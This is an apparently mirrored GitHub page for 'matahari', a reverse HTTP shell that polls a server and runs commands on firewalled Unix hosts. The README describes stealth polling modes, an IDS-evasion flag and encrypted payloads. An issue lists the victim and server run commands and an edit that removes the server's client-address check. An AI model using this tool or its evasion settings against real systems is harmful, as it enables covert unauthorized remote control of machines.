GithubHelp home page GithubHelp logo

matahari's Introduction

Matahari

Reverse HTTP shell

author: Martin Obiols Herrera -- OleMoudi started: 09/Sept/2007

Script to obtain a basic shell remotely on unix systems behind firewalls.
Client gets commands by periodically polling the server and sends the output back
after executing them. Traffic traverses firewall as standard outgoing HTTP GET/POST requests.
HTTP requests/responses carry payload b64 encoded

Polling period between requests can be modified sending commands like "%polling_type",
where "polling_type" is one of the following:
	-insane: 10 seconds between requests
	-agressive: 25 seconds between requests
	-normal: 60 seconds between requests
	-polite: 5 mins between requests
	-paranoid: 30 mins between requests
	-stealth: 60 mins between requests
	-adaptative: dinamically increases polling period when no commands are received until
		     reaching stealth type.

Be aware that when ids-evasion flag is set, all the above times are modified randomly with each
polling period between original value and 2 x original value.

Payload encryption uses ARC4 (requires python-crypto package). Client sends with each request a 
special header with a unique salt (str(randint(1,1000)) + str(time.time()). Server response and
next client POST request will be encrypted using the password+salt. This way client gets protected
against retransmission attacks.


TODO:
	-Better error handling
	-Support for interactive commands
	-Code clean up
	-Comments -_-zZZ

matahari's People

Contributors

olemoudi avatar nil0x42 avatar

Stargazers

SCIS Security avatar Tuyen Luong avatar Takahiro Yoshimura avatar  avatar Ramadhan Amizudin avatar  avatar shi han wang avatar nootropic avatar  avatar  avatar Darren Martyn avatar

Watchers

 avatar shi han wang avatar

matahari's Issues

hello olemoudi, remote server no execute a command

victim run :(add "x.x.x.x.myserverip google.com.test" to /etc/hosts )
python m.py -c google.com.test -T insane -v -p 443 -e

myserver run :(add "x.x.x.x.myserverip google.com.test" to /etc/hosts )
python matahari.py -s google.com.test -v -p 443 -e

in server enter a command no result .

google.com.test$>> set
output not ready, client will poll for new command in approximately 4 seconds

// Unable to get results. ( ∙̆ .̯ ∙̆ )

client result :

target server: google.com.test:443
polling server...
getting response...
no command issued
next polling in 10 seconds
retrying...
target server: google.com.test:443
polling server...
getting response...
no command issued
next polling in 10 seconds
retrying...
target server: google.com.test:443
polling server...
getting response...
no command issued


i change line 145
if ((self.client_address[0] == socket.gethostbyname(host)) and command_ready):

to

if (command_ready):

success run!good well. why????? thx to author.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.